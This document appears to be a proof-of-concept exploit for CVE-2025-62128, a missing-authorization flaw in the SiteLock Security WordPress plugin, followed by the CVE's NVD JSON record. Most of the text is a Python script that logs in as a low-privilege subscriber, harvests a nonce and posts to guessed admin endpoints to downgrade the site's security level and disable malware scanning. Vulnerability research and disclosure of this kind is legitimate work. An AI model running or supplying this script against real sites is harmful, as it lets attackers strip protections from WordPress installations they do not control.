CVE-2025-62128

import requests import sys # CVE-2025-62128 PoC - SiteLock WordPress Plugin Missing Authorization # Target: WordPress site with SiteLock Security plugin <= 5.0.1 # This PoC demonstrates accessing admin functions with subscriber-level privileges TARGET_URL = "https://vulnerable-site.com" USERNAME = "low_priv_user" # Low privilege account (subscriber role) PASSWORD = "user_password" def get_wordpress_nonce(url, cookie): """Get WordPress nonce for authenticated requests""" response = requests.get(f"{url}/wp-admin/admin.php?page=sitelock", cookies=cookie) if response.status_code == 200: import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_sitelock_auth_bypass(): """ Exploit missing authorization in SiteLock Security plugin Attempts to access admin-only settings with low-privilege account """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Get nonce cookie = session.cookies.get_dict() nonce = get_wordpress_nonce(TARGET_URL, cookie) # Step 3: Exploit - Access admin function without proper authorization # Target endpoint varies based on plugin version exploit_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=sitelock_update_settings", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=sitelock_security_scan", f"{TARGET_URL}/wp-json/sitelock/v1/settings" ] for endpoint in exploit_endpoints: headers = {'X-Requested-With': 'XMLHttpRequest'} if nonce: headers['X-WP-Nonce'] = nonce exploit_data = { 'security_level': 'minimal', # Downgrade security settings 'malware_scan': 'disabled' # Disable protection } response = session.post(endpoint, data=exploit_data, headers=headers) if response.status_code == 200 and 'success' in response.text.lower(): print(f"[!] VULNERABLE: {endpoint}") print(f"[+] Successfully accessed admin function with low privileges") return True print("[-] Exploitation attempt completed - check manually") return False if __name__ == "__main__": print("="*60) print("CVE-2025-62128 PoC - SiteLock WordPress Plugin") print("Missing Authorization / Broken Access Control") print("="*60) exploit_sitelock_auth_bypass()

{"cve": {"id": "CVE-2025-62128", "sourceIdentifier": "[email protected]", "published": "2025-12-30T17:15:42.697", "lastModified": "2026-04-23T15:34:35.567", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in SiteLock SiteLock Security – WP Hardening, Login Security & Malware Scans sitelock allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SiteLock Security – WP Hardening, Login Security & Malware Scans: from n/a through <= 5.0.1."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en SiteLock SiteLock Security permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a SiteLock Security: desde n/a hasta 5.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sitelock/vulnerability/wordpress-sitelock-security-plugin-5-0-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}